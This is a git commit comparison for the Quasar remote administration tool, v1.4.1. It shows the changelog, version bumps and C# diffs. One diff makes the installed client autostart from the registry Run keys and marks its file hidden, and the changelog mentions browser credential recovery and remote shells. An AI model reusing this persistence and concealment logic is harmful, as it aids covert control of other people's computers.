mirror of https://github.com/quasar/Quasar.git
Compare commits
5 Commits
fff64149f1
...
bcca6010de
Author | SHA1 | Date |
---|---|---|
MaxXor | bcca6010de | |
MaxXor | b824795a4c | |
MaxXor | 1c7874e731 | |
MaxXor | 81d225e798 | |
MaxXor | 374a70fc4d |
12
CHANGELOG.md
12
CHANGELOG.md
|
@ -1,5 +1,17 @@
|
|||
# Quasar Changelog
|
||||
|
||||
## Quasar v1.4.1 [12.03.2023]
|
||||
* Added missing WOW64 subsystem autostart locations
|
||||
* Fixed file transfers of files larger than 2 GB
|
||||
* Fixed file transfers of empty files
|
||||
* Fixed browser credentials recovery
|
||||
* Fixed race condition on shutdown
|
||||
* Fixed IP Geolocation
|
||||
* Fixed opening remote shell sessions on non-system drives
|
||||
* Fixed incorrectly set file attributes on client installations
|
||||
* Fixed sorting of listview columns with numbers
|
||||
* Updated dependencies
|
||||
|
||||
## Quasar v1.4.0 [05.06.2020]
|
||||
* **Changed target framework to .NET Framework 4.5.2**
|
||||
* **Changed license to MIT**
|
||||
|
|
2
LICENSE
2
LICENSE
|
@ -1,6 +1,6 @@
|
|||
MIT License
|
||||
|
||||
Copyright (c) 2020 MaxXor
|
||||
Copyright (c) 2023 MaxXor
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
|
|
@ -86,6 +86,28 @@ namespace Quasar.Client.Messages
|
|||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 });
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 });
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
|
||||
{
|
||||
var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
|
||||
|
@ -136,6 +158,20 @@ namespace Quasar.Client.Messages
|
|||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunX86:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunOnceX86:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.StartMenu:
|
||||
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
|
||||
{
|
||||
|
@ -196,6 +232,20 @@ namespace Quasar.Client.Messages
|
|||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunX86:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunOnceX86:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.StartMenu:
|
||||
string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
|
|||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Quasar")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
[assembly: InternalsVisibleTo("Client.Tests")]
|
||||
|
@ -30,5 +30,5 @@ using System.Runtime.InteropServices;
|
|||
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||
// übernehmen, indem Sie "*" eingeben:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.1")]
|
||||
[assembly: AssemblyFileVersion("1.4.1")]
|
||||
|
|
|
@ -16,14 +16,14 @@ namespace Quasar.Client.Setup
|
|||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
|
||||
clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
|
||||
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
|
|
@ -7,7 +7,7 @@ using System.Runtime.InteropServices;
|
|||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Quasar")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
|
@ -16,5 +16,5 @@ using System.Runtime.InteropServices;
|
|||
[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
|
||||
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.1")]
|
||||
[assembly: AssemblyFileVersion("1.4.1")]
|
||||
|
|
|
@ -6,6 +6,8 @@
|
|||
LocalMachineRunOnce,
|
||||
CurrentUserRun,
|
||||
CurrentUserRunOnce,
|
||||
StartMenu
|
||||
StartMenu,
|
||||
LocalMachineRunX86,
|
||||
LocalMachineRunOnceX86
|
||||
}
|
||||
}
|
||||
|
|
|
@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
|
|||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Quasar")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
[assembly: InternalsVisibleTo("Quasar.Common.Tests")]
|
||||
|
@ -33,5 +33,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.1")]
|
||||
[assembly: AssemblyFileVersion("1.4.1")]
|
||||
|
|
|
@ -123,6 +123,12 @@ namespace Quasar.Server.Forms
|
|||
lstStartupItems.Groups.Add(
|
||||
new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
|
||||
{Tag = StartupType.CurrentUserRunOnce});
|
||||
lstStartupItems.Groups.Add(
|
||||
new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")
|
||||
{ Tag = StartupType.LocalMachineRunX86 });
|
||||
lstStartupItems.Groups.Add(
|
||||
new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
|
||||
{ Tag = StartupType.LocalMachineRunOnceX86 });
|
||||
lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")
|
||||
{Tag = StartupType.StartMenu});
|
||||
}
|
||||
|
|
|
@ -294,7 +294,7 @@ namespace Quasar.Server.Messages
|
|||
foreach (var chunk in transfer.FileSplit)
|
||||
{
|
||||
transfer.TransferredSize += chunk.Data.Length;
|
||||
decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2);
|
||||
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2);
|
||||
transfer.Status = $"Uploading...({progress}%)";
|
||||
OnFileTransferUpdated(transfer);
|
||||
|
||||
|
@ -440,7 +440,7 @@ namespace Quasar.Server.Messages
|
|||
return;
|
||||
}
|
||||
|
||||
decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2);
|
||||
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2);
|
||||
transfer.Status = $"Downloading...({progress}%)";
|
||||
|
||||
OnFileTransferUpdated(transfer);
|
||||
|
|
|
@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
|
|||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Quasar")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
|
||||
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
[assembly: InternalsVisibleTo("Server.Tests")]
|
||||
|
@ -30,5 +30,5 @@ using System.Runtime.InteropServices;
|
|||
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||
// übernehmen, indem Sie "*" eingeben:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.1")]
|
||||
[assembly: AssemblyFileVersion("1.4.1")]
|
|
@ -273,7 +273,7 @@ namespace Quasar.Server.Properties {
|
|||
/// <summary>
|
||||
/// Looks up a localized string similar to MIT License
|
||||
///
|
||||
///Copyright (c) 2020 MaxXor
|
||||
///Copyright (c) 2023 MaxXor
|
||||
///
|
||||
///Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
///of this software and associated documentation files (the "Software"), to deal
|
||||
|
|
|
@ -211,7 +211,7 @@
|
|||
<data name="License" xml:space="preserve">
|
||||
<value>MIT License
|
||||
|
||||
Copyright (c) 2020 MaxXor
|
||||
Copyright (c) 2023 MaxXor
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
|
Loading…
Reference in New Issue